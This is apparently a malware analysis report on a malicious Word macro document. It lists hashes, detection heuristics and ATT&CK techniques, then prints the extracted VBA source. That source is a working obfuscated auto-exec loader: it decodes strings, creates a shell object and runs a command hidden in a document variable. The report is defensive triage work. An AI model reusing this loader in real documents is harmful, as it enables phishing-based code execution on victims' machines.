Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a4e8a31721224eb8…

MALICIOUS

Office (OLE)

109.0 KB Created: 2018-05-19 00:21:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 40cbf3ef0d554b4d478e57d39e0eecf0 SHA-1: f7112d48fcbb2dd8cd40fa304174e5dbe728927a SHA-256: a4e8a31721224eb846df574a205995236860b99fcadca977c5eecd02bf68cac3
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This Office document contains heavily obfuscated VBA macros, including an auto-exec loader within the Workbook_Open and Document_Open subroutines. The script attempts to decode and execute a payload, indicated by the 'Obfuscated auto-exec VBA loader' and 'VBA p-code auto-exec with execution tokens' heuristics. The ClamAV detection name 'Xls.Malware.Valyria-6700357-0' further supports its malicious nature. The primary IOC is the extracted VBA macro file.

Heuristics 10

  • ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3422 bytes
SHA-256: 2c150af5ba31e0cf0c612a6104ccbdf8e16a7a6220ebe66bb2dcc73dd77a94e3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function ac3JW() As String
Dim aac3JW As String
aac3JW = "518668517E517B8F51517551325151518D512A5151395141828A3A5A515C5151875132771D265155132B4A5128775F511C51514D6051411A4E692F52461A51513733314B5136818F4A72511F68826B2451875151276E5151872A3A51515120518751515158252D513855145119335151511C7651805189518278F15151515164515151517651516C5151516C5166786E51514C615151475151618D517B517A515E51195151505176517251805151814B51185171144224861851518A51513727513A765170792D51515151375174513B51545E75331B512E885151643651514D518E51645151495151512A7051511B51518E5151515A66518A746C8A7651"
ac3JW = aac3JW
End Function

Sub Workbook_Open()
    Application.Run "ThisWorkbook." & L_II("939A9F92819098")
End Sub
Public Sub Document_Open()
    Application.Run L_II("939A9F92819098")
End Sub
Private Function ac8SV() As String
Dim aac8SV As String
aac8SV = "518668517E517B8F51517551325151518D512A5151395141828A3A5A515C5151875132771D265155132B4A5128775F511C51514D6051411A4E692F52461A51513733314B5136818F4A72511F68826B2451875151276E5151872A3A51515120518751515158252D513855145119335151511C7651805189518278F15151515164515151517651516C5151516C5166786E51514C615151475151618D517B517A515E51195151505176517251805151814B51185171144224861851518A51513727513A765170792D51515151375174513B51545E75331B512E885151643651514D518E51645151495151512A7051511B51518E5151515A66518A746C8A7651"
ac8SV = aac8SV
End Function

Sub SZ_RAPX()
    HU_HKJ
End Sub
Private Function acDA6() As String
Dim aacDA6 As String
aacDA6 = "518668517E517B8F51517551325151518D512A5151395141828A3A5A515C5151875132771D265155132B4A5128775F511C51514D6051411A4E692F52461A51513733314B5136818F4A72511F68826B2451875151276E5151872A3A51515120518751515158252D513855145119335151511C7651805189518278F15151515164515151517651516C5151516C5166786E51514C615151475151618D517B517A515E51195151505176517251805151814B51185171144224861851518A51513727513A765170792D51515151375174513B51545E75331B512E885151643651514D518E51645151495151512A7051511B51518E5151515A66518A746C8A7651"
acDA6 = aacDA6
End Function

Public Sub HU_HKJ()
    Dim M_VV As Object: Set M_VV = VBA.CreateObject(L_II("9793A3B2A9B0B46E93A8A5ACAC"))
    CallByName M_VV, "Run", VbMethod, L_II(ActiveDocument.Variables("NV7P1IL9").Value), 0, True
End Sub
Public Function L_II(ByVal M_VV As String)
   Dim R_DM As String
   Dim GZX_TN As Long
   For GZX_TN = 1 To Len(M_VV) Step 2
        R_DM = R_DM & Chr(CLng(Chr(38) & Chr(72) & Mid(M_VV, GZX_TN, 2)) - 64)
   Next
   L_II = R_DM
End Function
Private Function acV81() As String
Dim aacV81 As String
aacV81 = "518668517E517B8F51517551325151518D512A5151395141828A3A5A515C5151875132771D265155132B4A5128775F511C51514D6051411A4E692F52461A51513733314B5136818F4A72511F68826B2451875151276E5151872A3A51515120518751515158252D513855145119335151511C7651805189518278F15151515164515151517651516C5151516C5166786E51514C615151475151618D517B517A515E51195151505176517251805151814B51185171144224861851518A51513727513A765170792D51515151375174513B51545E75331B512E885151643651514D518E51645151495151512A7051511B51518E5151515A66518A746C8A7651"
acV81 = aacV81
End Function